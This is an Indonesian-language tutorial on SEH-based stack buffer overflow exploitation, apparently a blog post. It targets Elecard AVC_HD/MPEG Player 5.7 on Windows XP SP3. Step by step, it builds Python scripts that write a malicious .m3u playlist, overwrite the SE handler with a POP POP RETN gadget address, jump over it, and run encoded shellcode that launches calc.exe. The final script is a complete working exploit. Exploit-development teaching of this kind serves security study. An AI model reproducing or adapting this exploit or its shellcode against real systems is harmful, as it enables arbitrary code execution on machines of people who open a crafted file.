SEH Based Stack Overflow - The Basic

SEH Based Stack Overflow - The Basic

Kali ini saya akan coba tehnik lain dari stack overflow, yaitu stack overflow berbasis SEH. Apa itu SEH? silakan dibaca diliteratur-literatur berikut:

Structured Exception Handling
Win32 Exception handling for assembler programmers

Tidak ada yang lebih menyenangkan daripada belajar sambil mencoba. Kita akan mencoba SEH based stack overflow pada program yang pernah di post oleh sickness, yaitu Elecard AVC_HD/MPEG Player. Program Elecard AVC_HD/MPEG Player versi 5.7 menderita buffer overflow ketika mencoba load file .m3u yang ditambahkan sejumlah karakter. Percobaan ini akan dilakukan pada sistem Windows XP SP3 dan menggunakan program seperti pada exploit yang di gunakan oleh sickness, jadi silakan download dulu programnya:

Download Elecard AVC_HD/MPEG Player (via ExploitDB)

Saya berasumsi bahwa teman-teman sudah membaca tulisan saya sebelumnya Exploit Development: Basic Stack-based Overflow sehingga sudah tahu apa yang perlu dipersiapkan. Secara teori, SEH based overflow memerlukan trik khusus karena kita berhadapan dengan Exception Handling. Ketika program crash (karena buffer overflow), EIP tidak langsung tertimpa dengan buffer/junk yang kita kirim, tapi mengarahkan kita ke exception handling. Kita hanya perlu memastikan bahwa alamat SE Handler juga tertimpa dengan buffer yang kita kirimkan, sehingga ketika exception handling diteruskan, maka akan membawa kita ke EIP. Kedengarannya sangat rumit, tapi tenang, semuanya akan terlihat lebih mudah apabila mencoba langsung.

Confirm the BUG and Adjust the Enemy Line

Setelah diinstall, jalankan Elecard AVC_HD/MPEG Player dan attach ke Immunity Debugger. Lalu kita buat script yang membuat Elecard AVC_HD/MPEG Player crash.

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 25000

f = open(file,'w')
print "Payload size: ", len(header+junk)
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Jalankan scriptnya dan buka dengan Elecard AVC_HD/MPEG Player. Perhatikan apa yang terjadi pada debugger.

How the registers look
How the registers look

Terlihat bahwa register EBP dan ESI tertimpa dengan 0x41414141, artinya saat ini buffer kita ada di kedua register tersebut. Tekan Alt-S untuk melihat window SEH Chain dan terlihat SE Handler tertimpa juga dengan 0x41414141.

SE handler with 0x41414141

Selanjutnya kita harus mencari jumlah byte yang tepat untuk menimpa alamat SE Handler (masih ingat tutorial sebelumnya?!). Kita dapat menggunakan program Metasploit untuk melakukan hal tersebut (good exercise right?!).

 

POP POP RETN, is it for our movie?

Setelah itu kita perlu mencari deretan perintah (sequence of commands) POP [REG]+POP [REG]+RETN dan melanjutkan exception sehingga program akan mengarah pada deretan perintah POP [REG]+POP [REG]+RETN. Mengapa kita perlu deretan perintah tersebut? Kalau saya jelaskan sekarang nanti tambah rumit, lebih baik saya jelaskan sambil mencoba.

Kita bisa mencari alamat POP [REG]+POP [REG]+RETN dengan perintah Ctrl+S dan menuliskan sebagai berikut:

Sequence of commands search

dan menemukan alamat POP EDI + POP EBX + RETN pada alamat 0x7394D3D2 (module D3DIM700.dll) berikut:

POP REG + POP REG + RETN Address

Kita update script skeleton exploit yang sudah kita buat:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 4 + 'C' * 4 + '\xD2\xD3\x94\x73' + 'D' * 24988

f = open(file,'w')
print "Payload size: ", len(junk)
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Jalankan lagi exploit diatas, (masih ingat kenapa alamat POP POP RET ditulis terbalik?!) jalankan juga program Elecard AV_HD/MPEG Player dan attach ke debugger. Load lagi file .m3u tersebut dan kali ini perhatikan pada SE Handler:

POP POP RET address on SE Handler

Lakukan Breakpoint dengan menekan F2 pada alamat tersebut, lalu tekan Shift+F9 untuk meneruskan exception. Dapat terlihat bahwa EIP sekarang terisi oleh alamat POP [REG]+ POP [REG] + RETN yang telah kita tentukan, dan aliran eksekusi program sekarang berubah ke alamat POP EDI + POP EBX + RETN (perhatikan bahwa nilai EIP saat ini sama dengan nilai pada alamat POP EDI + POP EBX + RETN)

EIP owned by POP POP RETN Address

Perhatikan, register ESP tidak menunjuk pada stack, sementara kita membutuhkan ESP untuk menunjuk ke alamat stack agar kita bisa mengeksekusi shellcode nanti. Lalu apa yang bisa kita perbuat? jika kita perhatikan, pada baris ketiga jendela stack, terdapat alamat yang merujuk pada buffer yang kita kirimkan sebelumnya, yaitu 0x0012C73C, hey! bukankah itu alamat Next SEH (Pointer to Next SEH)?! Lalu bagaimana caranya agar ESP menunjuk ke alamat tersebut?

Disinilah peran POP EDI + POP EBX + RETN. Perintah POP EDI akan mengambil baris pertama pada stack kedalam register EDI, perintah POP EBX juga mengambil alamat pada baris kedua dalam stack ke dalam register EBX , selanjutnya perintah RETN akan kembali menunjuk pada ESP , Voila! Sampailah kita pada alamat buffer yang kita kirimkan sebelumnya.

How POP POP RETN works

Pada saat ini, register EIP pun menunjuk ke alamat baru, yaitu 0x0012C73C, perlu diingat bahwa ini adalah alamat Next SEH dan EIP menunjuk perintah selanjutnya yaitu, 0x43434343 pada alamat 0x0012C73C.

Next problem.. bypass SE Handler

Sejauh ini, dapat kita simpulkan sebagai berikut:

Conclusion (click to large)

Alamat 0x0012C740 adalah alamat SE Handler, sedangkan pada alamat 0x0012C744 (yang berisi karakter ‘D’) merupakan buffer yang bisa kita gunakan untuk mengeksekusi shellcode. Terdapat masalah disini, karena kita harus melewati alamat SE Handler yang berisi perintah RCL BL, CL, XCHG EAX, ESP dan JNB SHORT 0012C789, kenapa perlu dilewati? karena berpotensi merusak proses yang sudah kita kerjakan sejauh ini ?

Bagaimana caranya?

JMP SHORT 0xDREAMLAND

Salah satu tehnik yang bisa digunakan adalah short jump, literatur short jump bisa dilihat pada website berikut:
Using SHORT (Two-byte) Relative Jump Instructions

Kita akan lompat sejauh 8 bytes dari posisi terakhir 0x0012C73C, sehingga akan mendarat pada alamat 0x0012C746. Kita update lagi script skeleton exploit:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 4 + '\xeb\x08\x90\x90' + '\xD2\xD3\x94\x73' + 'D' * 24988

f = open(file,'w')
print "Payload size: ", len(junk) 
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Perhatikan bahwa saya menambah alamat ‘\xeb\x08\x90\x90’, yaitu untuk loncat sejauh 8 bytes, sedangkan ‘\x90’ adalah nop untuk melengkapi 2 bytes agar tidak terisi dengan ‘\x00’. Jalankan script tersebut, lalu load lagi file m3u-nya. Lakukan breakpoint pada alamat SE Handler, lalu teruskan exception dengan menekan Shift+F9. Lalu tekan F7 untuk Follow perintah POP EDI, POP EBX, dan RETN. Perhatikan ketika RETN terjadi, alamat EIP merujuk kembali ke alamat 0x0012C73C dan pada alamat tersebut sudah menunggu perintah JMP SHORT yang telah kita tentukan tadi (\xeb\x08\x90\x90), tekan F7 untuk Follow dan perhatikan:

JMP to shellcode space

Alamat EIP mendarat tepat pada alamat 0x0012C746 yang berarti kita telah melewati alamat SE Handler. Apabila karakter ‘D’ (\x44) kita ganti dengan shellcode, maka shellcode akan tereksekusi setelahnya.

Finalized the Exploit

Mari kita ganti karakter ‘D’ yang kita gunakan sebagai junk dengan shellcode, saya akan menggunakan shellcode untuk memanggil program Calculator (calc.exe), dan kita rapikan skeleton exploit yang sudah kita buat sejauh ini:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'

# msfpayload windows/exec cmd=calc R |
# msfencode -a x86 -b "\x00\x0a\x0d\x25\x68\x08\x20" -t c
# x86/call4_dword_xor succeeded with size 220 (iteration=1)
shellcode = ("\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xeb\x9c\x9e\xf1\x83\xee\xfc\xe2\xf4\x17\x74\x17\xf1\xeb\x9c"
"\xfe\x78\x0e\xad\x4c\x95\x60\xce\xae\x7a\xb9\x90\x15\xa3\xff"
"\x17\xec\xd9\xe4\x2b\xd4\xd7\xda\x63\xaf\x31\x47\xa0\xff\x8d"
"\xe9\xb0\xbe\x30\x24\x91\x9f\x36\x09\x6c\xcc\xa6\x60\xce\x8e"
"\x7a\xa9\xa0\x9f\x21\x60\xdc\xe6\x74\x2b\xe8\xd4\xf0\x3b\xcc"
"\x15\xb9\xf3\x17\xc6\xd1\xea\x4f\x7d\xcd\xa2\x17\xaa\x7a\xea"
"\x4a\xaf\x0e\xda\x5c\x32\x30\x24\x91\x9f\x36\xd3\x7c\xeb\x05"
"\xe8\xe1\x66\xca\x96\xb8\xeb\x13\xb3\x17\xc6\xd5\xea\x4f\xf8"
"\x7a\xe7\xd7\x15\xa9\xf7\x9d\x4d\x7a\xef\x17\x9f\x21\x62\xd8"
"\xba\xd5\xb0\xc7\xff\xa8\xb1\xcd\x61\x11\xb3\xc3\xc4\x7a\xf9"
"\x77\x18\xac\x81\x9d\x13\x74\x52\x9c\x9e\xf1\xbb\xf4\xaf\x7a"
"\x84\x1b\x61\x24\x50\x6c\x2b\x53\xbd\xf4\x38\x64\x56\x01\x61"
"\x24\xd7\x9a\xe2\xfb\x6b\x67\x7e\x84\xee\x27\xd9\xe2\x99\xf3"
"\xf4\xf1\xb8\x63\x4b\x92\x8a\xf0\xfd\xf1")

junk = 'A' * 4
nseh = '\xeb\x08\x90\x90'
seh = '\xD2\xD3\x94\x73'
nops = '\x90' * 16
sisa = 'D' * (20000 - len(junk+nseh+seh+nops+shellcode))

payload = header+junk+nseh+seh+nops+shellcode+sisa

f = open(file,'w')
print "Payload size: ", len(payload)
f.write(payload)
print "File",file, "successfully created"
f.close()

Dan hasilnya:

Calculator popped out

 

Eksploitasi berbasis SEH berhasil kita lakukan. Akan tidak mudah memahaminya dalam satu kali putaran (jika ada yang bisa, saya salut dengan Anda karena saya sendiri perlu 2-3 kali percobaan baru paham :D), dan percobaan ini bisa menjadi dasar latihan untuk aplikasi yang lain, biar semakin mahir dan terasah.

Akhir kata, selamat mencoba ?

Referensi